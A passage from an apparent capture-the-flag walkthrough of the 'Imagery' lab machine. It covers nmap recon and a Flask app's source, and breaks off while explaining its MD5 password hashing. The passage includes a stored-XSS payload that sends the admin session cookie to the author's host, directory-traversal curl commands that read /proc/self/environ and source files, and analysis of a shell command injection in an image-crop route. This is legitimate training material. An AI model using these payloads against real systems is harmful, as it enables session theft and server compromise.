Imagery

Imagery hosts a Flask-based image gallery application. I’ll exploit a stored XSS vulnerability in the bug report feature to steal an admin cookie. From the admin panel, I’ll use directory traversal to read the application source code, finding a command injection vulnerability in the image crop feature that requires access as a test user. After reading the database and cracking the test user’s password hash, I’ll exploit the command injection to get a shell. I’ll find an encrypted backup file and brute-force the pyAesCrypt password, getting access to an older backup with additional hashes. After cracking another user’s hash, I’ll pivot to a user that can run a custom backup utility as root via sudo. I’ll show two ways to abuse this. In Beyond Root, I’ll show why SSH is broken and how to get around it.

Box Info

Medium
Release Date 27 Sep 2025
Retire Date 24 Jan 2026
OS Linux Linux
Rated Difficulty Rated difficulty for Imagery
Radar Graph Radar chart for Imagery
User
00:38:00NLTE
Root
00:46:44NLTE
Creator Nab6eel

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (8000):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.4.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-18 11:26 UTC
...[snip]...
Nmap scan report for 10.129.4.40
Host is up, received reset ttl 63 (0.023s latency).
Scanned at 2026-01-18 11:26:46 UTC for 10s
Not shown: 60280 closed tcp ports (reset), 5253 filtered tcp ports (no-response)
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds
           Raw packets sent: 97330 (4.282MB) | Rcvd: 60495 (2.420MB)
oxdf@hacky$ nmap -p 22,8000 -sCV 10.129.4.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-18 11:27 UTC
Nmap scan report for 10.129.4.40
Host is up (0.023s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http-alt Werkzeug/3.1.3 Python/3.12.7
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.1.3 Python/3.12.7
|     Date: Sun, 18 Jan 2026 11:27:14 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.1.3 Python/3.12.7
|     Date: Sun, 18 Jan 2026 11:27:09 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 146960
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Image Gallery</title>
|     <script src="static/tailwind.js"></script>
|     <link rel="stylesheet" href="static/fonts.css">
|     <script src="static/purify.min.js"></script>
|     <style>
|     body {
|     font-family: 'Inter', sans-serif;
|     margin: 0;
|     padding: 0;
|     box-sizing: border-box;
|     display: flex;
|     flex-direction: column;
|     min-height: 100vh;
|     position: fixed;
|     top: 0;
|     width: 100%;
|     z-index: 50;
|_    #app-con
|_http-title: Image Gallery
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=1/18%Time=696CC393%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,3027,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.1\.3
SF:\x20Python/3\.12\.7\r\nDate:\x20Sun,\x2018\x20Jan\x202026\x2011:27:09\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x20146960\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x2
SF:0lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x2
SF:0\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width
SF:,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Image\x20Gallery</ti
SF:tle>\n\x20\x20\x20\x20<script\x20src=\"static/tailwind\.js\"></script>\
SF:n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"static/fonts\.cs
SF:s\">\n\x20\x20\x20\x20<script\x20src=\"static/purify\.min\.js\"></scrip
SF:t>\n\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20
SF:{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20'Int
SF:er',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ma
SF:rgin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x
SF:200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20box-sizing:\x20bo
SF:rder-box;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20
SF:flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20flex-direction:\
SF:x20column;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20min-height:
SF:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20nav\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20posit
SF:ion:\x20fixed;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20top:\x2
SF:00;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x2050;\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20#app-con")%
SF:r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x2
SF:0Werkzeug/3\.1\.3\x20Python/3\.12\.7\r\nDate:\x20Sun,\x2018\x20Jan\x202
SF:026\x2011:27:14\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\
SF:r\nContent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20h
SF:tml>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x2
SF:0Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x2
SF:0the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20p
SF:lease\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.70 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 24.10 oracular.

Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

The webserver is reporting it is Werkzeug, which most likely means Python Flask.

Website - TCP 8000

Site

The site is an online image gallery:

image-20260118063420408 expand

There aren’t many links other than to Register and Login. The registration page takes an email and password:

image-20260117065638046

On logging in, the application presents a Gallery and a link to Upload:

image-20260117065727672

The upload form takes an image as well as optional title, description, and group:

image-20260118070855572

It also shows my account ID, which is interesting. There’s also an extra link in the footer:

image-20260118071018326

This is pretty unrealistic, as footers like this are typically the same on every page. This kind of thing it probably just put in by the box author to make the box “harder”. Clicking this link doesn’t lead to a new page, but uses JavaScript to load a form:

image-20260118071504377

On submitting, it says it will be reviewed:

image-20260118071528231

Uploading an image leads to it showing up on the dashboard:

image-20260117065848003

There’s also a cleanup script that will remove my images periodically. Clicking the three dots by the image shows a menu:

image-20260118133619489

The top four are not enabled, and clicking them pops a message:

image-20260118133656518

I think it means it’s still in development (not production).

Tech Stack

The HTTP server headers show Werkzeug, which means Flask:

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Sun, 18 Jan 2026 11:33:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 146960
Connection: close

It’s unusual to see raw Werkzeug not behind nginx or some other more robust webserver. The 404 page matches the default Flask 404:

image-20260117070058029

On logging in, a session cookie is set:

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Sun, 18 Jan 2026 11:56:57 GMT
Content-Type: application/json
Content-Length: 105
Vary: Cookie
Set-Cookie: session=.eJyrVkrJLC7ISaz0TFGyUkoxtbRItjCxUNJRyix2TMnNzFOySkvMKU4F8eMzcwtSi4rz8xJLMvPS40tSi0tKi1OLkFXAxOITk5PzS_NK4HIgwbzE3FSgHQYVKWkOmbmJ6alFlXoZJUlKtQAA9i9M.aWzKiQ.Xw50bu1DzG_gbyIr7d5rQb5-PI0; Path=/
Connection: close

That’s a Flask cookie, which sites like this one will decode:

{
    "displayId": "d598c848",
    "isAdmin": false,
    "is_impersonating_testuser": false,
    "is_testuser_account": false,
    "username": "0xdf@imagery.htb"
}

This cookie doesn’t have the httpOnly attribute, which means that if I can get XSS, I can steal it.

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://10.129.4.40:8000

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.4.40:8000
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
401      GET        1l        4w       59c http://10.129.4.40:8000/images
405      GET        5l       20w      153c http://10.129.4.40:8000/login
405      GET        5l       20w      153c http://10.129.4.40:8000/register
405      GET        5l       20w      153c http://10.129.4.40:8000/logout
200      GET       27l       48w      584c http://10.129.4.40:8000/static/fonts.css
405      GET        5l       20w      153c http://10.129.4.40:8000/upload_image
200      GET        3l      282w    20343c http://10.129.4.40:8000/static/purify.min.js
200      GET       83l     9103w   407279c http://10.129.4.40:8000/static/tailwind.js
200      GET     2779l     9472w   146960c http://10.129.4.40:8000/
[####################] - 74s    30014/30014   0s      found:9       errors:0      
[####################] - 74s    30000/30000   406/s   http://10.129.4.40:8000/

It does find the upload_image endpoint used earlier to upload (with a 405, as that endpoint expects a POST).

/images returns raw JSON data about my uploaded images:

image-20260117070607387

The uploaded URLs are prepended with a UUID.

Shell as web

Admin Page Access

Page JavaScript

Looking at the page source, when the “Report Bug” link is clicked, it’s going to call navigateTo(reportBug):

image-20260118071956919

navigateTo is a function that manages what HTML shows up on the page:

async function navigateTo(pageId) {
    localStorage.setItem('lastVisitedPage', pageId);
    let targetPageId = pageId;

    const authStatus = await checkAuthStatus(false);

    if ((targetPageId === 'gallery' || targetPageId === 'upload' || targetPageId === 'reportBug' || targetPageId === 'adminPanel')) {
        if (!authStatus.loggedIn) {
            showMessage('Please log in to access this page.', 'error');
            targetPageId = 'login';
        } else if (targetPageId === 'adminPanel' && !authStatus.isAdmin) {
            showMessage('Access Denied: You must be logged in as an administrator.', 'error');
            targetPageId = 'login';
        }
    }

    currentPage = targetPageId;

    const pages = document.querySelectorAll('.page-content');
    pages.forEach(page => {
        page.style.display = 'none';
    });

    const targetPageElement = document.getElementById(currentPage + 'Page');
    if (targetPageElement) {
        targetPageElement.style.display = 'flex';

        if (currentPage === 'gallery') {
            loadGalleryImages();
        } else if (currentPage === 'upload') {
            const uploadUserInfoSpan = document.querySelector('#upload-user-info span');
            if (loggedInUserDisplayId) {
                uploadUserInfoSpan.textContent = loggedInUserDisplayId;
                document.getElementById('upload-user-info').style.display = 'block';
            } else {
                document.getElementById('upload-user-info').style.display = 'none';
            }
            document.getElementById('uploadForm').reset();
            setUploadMode('file');
            populateImageGroupDropdown();
        } else if (currentPage === 'adminPanel') {
            loadAdminPanelContent();
        }
    } else {
        console.warn(`Page with ID ${currentPage}Page not found.`);
    }

    updateUIBasedOnAuth();
}

For reportBug, it will find reportBugPage and set it as visible where the rest of the elements are set to display = none.

There’s also logic in here for the admin panel. For example, there’s a function loadBugReports:

async function loadBugReports() {
    const bugReportsList = document.getElementById('bug-reports-list');
    const noBugReports = document.getElementById('no-bug-reports');

    if (!bugReportsList || !noBugReports) {
        console.error("Error: Admin panel bug report elements not found.");
        return;
    }

    bugReportsList.innerHTML = '';
    noBugReports.style.display = 'none';

    try {
        const response = await fetch(`${window.location.origin}/admin/bug_reports`);
        const data = await response.json();

        if (data.success) {
            if (data.bug_reports.length === 0) {
                noBugReports.style.display = 'block';
            } else {
                data.bug_reports.forEach(report => {
                    const reportCard = document.createElement('div');
                    reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';

                    reportCard.innerHTML = `
                        <div>
                            <p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
                            <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
                            <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
                            <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
                            <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
                                ${report.details}
                            </div>
                        </div>
                        <button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
                            Delete
                        </button>
                    `;
                    bugReportsList.appendChild(reportCard);
                });
            }
        } else {
            showMessage(data.message, 'error');
        }
    } catch (error) {
        console.error('Error loading bug reports:', error);
        showMessage('Failed to load bug reports. Please try again later.', 'error');
    }
}

It fetches data from /admin/bug_reports, and uses the results to build this HTML:

<div>
    <p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
    <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
    <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
    <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
    <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
        ${report.details}
                  </div>
</div>
<button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
    Delete
</button>

The report.id, report.reporterDisplayId, and report.name are all passed through DOMPurify.sanitize before being put into the page. On the other hand, report.details is not. It’s dropped raw into the div element.

XSS

The above page will be vulnerable to XSS unless the input is sanitized on the server. I’ll create a simple payload:

<img src=x onerror=fetch('http://10.10.15.179/?c='+document.cookie)>

This will load an image on the page with a bad source, and in response to the error send a GET request to my host with the user’s cookie in the URL. I’ll submit this:

image-20260118073844275

And a few seconds later get the request at my Python webserver:

10.129.4.40 - - [18/Jan/2026 12:38:16] "GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aWzUMA.nQLnstYMImFHfsxO5KoH_b-MfKs HTTP/1.1" 200 -

That cookie decodes to:

{
    "displayId": "a1b2c3d4",
    "isAdmin": true,
    "is_impersonating_testuser": false,
    "is_testuser_account": false,
    "username": "admin@imagery.htb"
}

Arbitrary File Read

Admin Panel Enumeration

As an admin user (after setting the stolen cookie in my browser), there’s now an accessible admin panel:

image-20260118134032805

There are two sections. The top shows users on the box, including admin, my user, and testuser. The bottom shows the submitted bug reports.

The “Download Log” button by each user returns a log with that user’s activity. For example, 0xdf@imagery.htb.log:

[2026-01-18T18:35:35.043695] Registered successfully.
[2026-01-18T18:35:40.798277] Logged in successfully.
[2026-01-18T18:35:50.635985] Uploaded image: 0xdf.png (ID: 98d314c4-09f2-4f3e-9378-d5e53a3345b8) to group 'My Images'.
[2026-01-18T18:37:24.361700] Logged out successfully.
[2026-01-18T18:37:44.887785] Logged in successfully.
[2026-01-18T18:39:39.483650] Logged in successfully.

admin just has a bunch of login and log outs, seeming to log in every minute, and out only occasionally.

Directory Traversal POC

The GET request to get the log for 0xdf looks like:

GET /admin/get_system_log?log_identifier=0xdf%40imagery.htb.log HTTP/1.1
Host: 10.129.4.40:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://10.129.4.40:8000/
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aWzUMA.nQLnstYMImFHfsxO5KoH_b-MfKs
Upgrade-Insecure-Requests: 1
Priority: u=0, i


Any time there’s a file path in an HTTP parameter, it’s worth checking for directory traversal. If I try ../../../etc/passwd, it crashes (returning 500 for some reason but saying 404 in the body):

image-20260118134850615

One more directory up returns the file:

image-20260118134916435

Host Enumeration

I’ll switch to curl, using --path-as-is to prevent curl from normalizing the ../s out of the path, and --ignore-content-length to print the full response for cases like in the /proc filesystem (see this video). I’ll check for the current process’ environment variables (they are null separated, so I’ll use tr to replace nulls with newlines):

oxdf@hacky$ curl --path-as-is -b "session=$SESSION" 'http://10.129.4.40:8000/admin/get_system_log?log_identifier=../../../../proc/self/environ' --ignore-content-length -s | tr '\000' '\n'
LANG=en_US.UTF-8
PATH=/home/web/web/env/bin:/sbin:/usr/bin
USER=web
LOGNAME=web
HOME=/home/web
SHELL=/bin/bash
INVOCATION_ID=afaee480cd674aa68568e18e423b8a44
JOURNAL_STREAM=9:18530
SYSTEMD_EXEC_PID=1338
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/flaskapp.service/memory.pressure
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xR0p/runL!

It doesn’t give a current directory, but there’s a Python virtual environment in the PATH at /home/web/web/env, and the user is web. There’s also a CRON_BYPASS_TOKEN (which will come into play later). I’ll find the same app.py file at the following three locations:

  • ../../../../proc/self/cwd/app.py
  • ../../../../home/web/web/app.py
  • ../app.py

app.py has a bunch of imports at the top:

from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

Base on these, I’ll make a list of filenames to download, and get them all in a loop:

oxdf@hacky$ for fn in "config" "utils" "api_auth" "api_upload" "api_manage" "api_edit" "api_admin" "api_misc"; do curl --path-as-is -b "session=$SESSION" "http://10.129.4.40:8000/admin/get_system_log?log_identifier=../${fn}.py" --ignore-content-length -s > src/${fn}.py; done
oxdf@hacky$ ls src/
api_admin.py  api_auth.py  api_edit.py  api_manage.py  api_misc.py  api_upload.py  app.py  config.py  utils.py

Source Analysis

app.py

The main file, app.py handles standing up the main Flask application. After the imports above, it creates the Flask application, sets the secret key, and explicitly makes the app vulnerable to XSS (for no realistic reason):

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

It’s worth noting that the secret_key is random (and thus unleakable). If this were statically defined in the file, I could use that to forge cookies for any user on the site.

Then it registers routes from the various other modules. The challenge of having routes defined in other files is they would need access to the main Flask object, app_core in this case. But that would lead to a bunch of potentially circular imports. Flask solves this with Blueprints, where in the other files it creates a BluePrint object that then creates routes, and then that is imported and loaded by the main app:

app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

The rest of the main file defines the index route, and does some initialization:

@app_core.route('/')
def main_dashboard():
    return render_template('index.html')

if __name__ == '__main__':
    current_database_data = _load_data()
    default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
    existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
    for collection_to_add in default_collections:
        if collection_to_add not in existing_collection_names_in_database:
            current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
    _save_data(current_database_data)
    for user_entry in current_database_data.get('users', []):
        user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
        if not os.path.exists(user_log_file_path):
            with open(user_log_file_path, 'w') as f:
                f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
    port = int(os.environ.get("PORT", 8000))
    if port in BLOCKED_APP_PORTS:
        print(f"Port {port} is blocked for security reasons. Please choose another port.")
        sys.exit(1)
    app_core.run(debug=False, host='0.0.0.0', port=port)

api_edit.py

There are various api_*.py files that define the different API calls made by the side. The most interesting one is api_edit.py, which defines three routes:

from flask import Blueprint, request, jsonify, session
from config import *
import os
import uuid
import subprocess
from datetime import datetime
from utils import _load_data, _save_data, _hash_password, _log_event, _generate_display_id, _sanitize_input, get_file_mimetype, _calculate_file_md5

bp_edit = Blueprint('bp_edit', __name__)

@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
...[snip]...

@bp_edit.route('/convert_image', methods=['POST'])
def convert_image():
...[snip]...

@bp_edit.route('/delete_image_metadata', methods=['POST'])
def delete_image_metadata():
...[snip]...

It’s interesting because it defines features that are not enabled on the site, and because it imports the subprocess module, which could be a path to RCE if input is not sanitized.

There are seven places that subprocess.run is called:

oxdf@hacky$ grep subprocess.run api_edit.py -B1
            command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
            subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
--
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
--
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,{float(value)*100},100", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
--
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,100,{float(value)*100}", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
--
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"{float(value)*100},{float(value)*100},{float(value)*100}", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
--
        command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, output_filepath]
        subprocess.run(command, capture_output=True, text=True, check=True)
--
        command = [EXIFTOOL_PATH, '-all=', '-overwrite_original', filepath]
        subprocess.run(command, capture_output=True, text=True, check=True)

The safe way to call subprocess.run is with a list of the individual parameters in the command, so that an attacker cannot break them up in unexpected ways. This is what the application does for all but the first of these calls. The first case it uses Python f-strings to generate the command as a string, and then passes that string. This is in the /apply_visual_transform route. It starts by making sure that the session metadata (as in the decoded Flask cookie) is_testuser_account is set to True, and that the user is logged in:

@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
    if not session.get('is_testuser_account'):
        return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401

The admin account does not have this, so I’ll need to find another account to access this path. Then the code parses and validates the POST request parameters:

    request_payload = request.get_json()
    image_id = request_payload.get('imageId')
    transform_type = request_payload.get('transformType')
    params = request_payload.get('params', {})
    if not image_id or not transform_type:
        return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400

There’s a call to _load_data, which is imported from utils.py, and basically loads JSON data from DATA_STORE_PATH:

def _load_data():
    if not os.path.exists(DATA_STORE_PATH):
        return {'users': [], 'images': [], 'bug_reports': [], 'image_collections': []}
    with open(DATA_STORE_PATH, 'r') as f:
        data = json.load(f)
    for user in data.get('users', []):
        if 'isTestuser' not in user:
            user['isTestuser'] = False
    return data

DATA_STORE_PATH is defined in config.py as db.json, which I’ll look at shortly. Then it validates that the image_id passed by the user exists, is owned by that user, is a valid image mime-type, and have a valid extension:

    application_data = _load_data()
    original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
    if not original_image:
        return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
    original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
    if not os.path.exists(original_filepath):
        return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
    if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
        return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
    original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
    if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
        return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400

Then it generates a new output filename, and builds the command to run ImageMagick on the image to modify:

    try:
        unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
        output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
        output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
        if transform_type == 'crop':
            x = str(params.get('x'))
            y = str(params.get('y'))
            width = str(params.get('width'))
            height = str(params.get('height'))
            command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
            subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
        elif transform_type == 'rotate':
...[snip]...
        elif transform_type == 'saturation':
...[snip]...
        elif transform_type == 'brightness':
...[snip]...
        elif transform_type == 'contrast':
...[snip]...
        else:
            return jsonify({'success': False, 'message': 'Unsupported transformation type.'}), 400

The rest of the function updates the “database” (JSON file) with the new image and returns, or handles errors.

db.json

It seems this site, rather than using a real database, is using a JSON file to store data. This would never scale to a real application, but it works ok here. The file contains top level “tables” for users, images, image_collections, and bug_reports:

{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "0xdf@imagery.htb",
            "password": "465e929fc1e0853025faad58fc8cb47d",
            "displayId": "3500c683",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        }
    ],
    "images": [
        {
            "id": "04ee34b9-f022-43d6-9dca-55e7efe44539",
            "filename": "1bf797fb-cd37-4794-822b-175a17916fa3_0xdf.png",
            "url": "/uploads/1bf797fb-cd37-4794-822b-175a17916fa3_0xdf.png",
            "title": "0xdf",
            "description": "",
            "timestamp": "2026-01-19T12:46:40.880954",
            "uploadedBy": "0xdf@imagery.htb",
            "uploadedByDisplayId": "3500c683",
            "group": "My Images",
            "type": "original",
            "actual_mimetype": "image/png"
        }
    ],
    "image_collections": [
        {
            "name": "My Images"
        },
        {
            "name": "Unsorted"
        },
        {
            "name": "Converted"
        },
        {
            "name": "Transformed"
        }
    ],
    "bug_reports": [
        {
            "id": "8d0da589-ebf7-4fde-a1d5-975135d3961f",
            "name": "xss",
            "details": "<img src=x onerror=fetch('http://10.10.15.179/?c='+document.cookie)>",
            "reporter": "0xdf@imagery.htb",
            "reporterDisplayId": "3500c683",
            "timestamp": "2026-01-19T12:47:38.653909"
        }
    ]
}

The users objects contain password hashes for admin, testuser, and my user. I’ll note that testuser has the isTestuser value set to true.

Command Injection

Access as testuser

To use the vulnerable function, I’ll need access as the testuser user, so I’ll crack the hash in db.json. In api_auth.py in the register function, the password is hashed using a function imported from utils:

hashed_password = _hash_password(password)

This function shows it’s just an MD5:

def _hash_password(password):
